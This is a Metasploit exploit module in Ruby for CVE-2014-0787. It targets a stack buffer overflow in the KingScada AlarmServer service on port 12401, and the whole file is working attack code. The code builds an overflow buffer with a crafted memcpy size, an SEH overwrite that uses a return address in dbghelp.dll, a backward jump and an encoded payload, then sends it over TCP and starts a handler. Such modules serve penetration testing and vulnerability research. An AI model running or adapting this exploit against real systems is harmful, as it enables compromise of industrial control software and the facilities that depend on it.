78 lines
No EOL
1.9 KiB
Ruby
Executable file
78 lines
No EOL
1.9 KiB
Ruby
Executable file
require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'KingScada AlarmServer Stack Buffer Overflow',
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'Description' => %q{
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This module exploits a stack based buffer overflow found in
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KingScada < 3.1.2.13. The vulnerability is triggered when
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sending a specially crafted packet to the 'AlarmServer'
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(AEserver.exe) service listening on port 12401. During the
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parsing of the packet the 3rd dword is used as a size value
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for a memcpy operation which leads to an overflown stack buffer
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},
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'Author' => [ 'James Fitts' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2014-0787' ],
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[ 'ZDI', '14-071' ],
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[ 'URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-14-098-02' ]
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],
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'Privileged' => false,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x00\x0a\x0d\x20",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[
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'Windows XP SP3 EN / WellinTech KingScada 31.1.1.4',
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{
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# dbghelp.dll
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# pop esi/ pop edi/ retn
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'ret' => 0x02881fbf,
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}
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],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Apr 10, 2014'))
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register_options([Opt::RPORT(12401)], self.class)
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end
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def exploit
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connect
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p = payload.encoded
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buf = make_nops(5000)
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buf[0, 4] = [0x000004d2].pack('V')
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buf[4, 4] = [0x0000007b].pack('V')
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buf[8, 4] = [0x0000133c].pack('V') # size for memcpy()
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buf[1128, p.length] = p
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buf[2128, 8] = generate_seh_record(target['ret'])
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buf[2136, 5] = "\xe9\x4b\xfb\xff\xff" # jmp $-1200
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print_status("Trying target #{target.name}...")
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sock.put(buf)
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handler
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disconnect
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end
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end |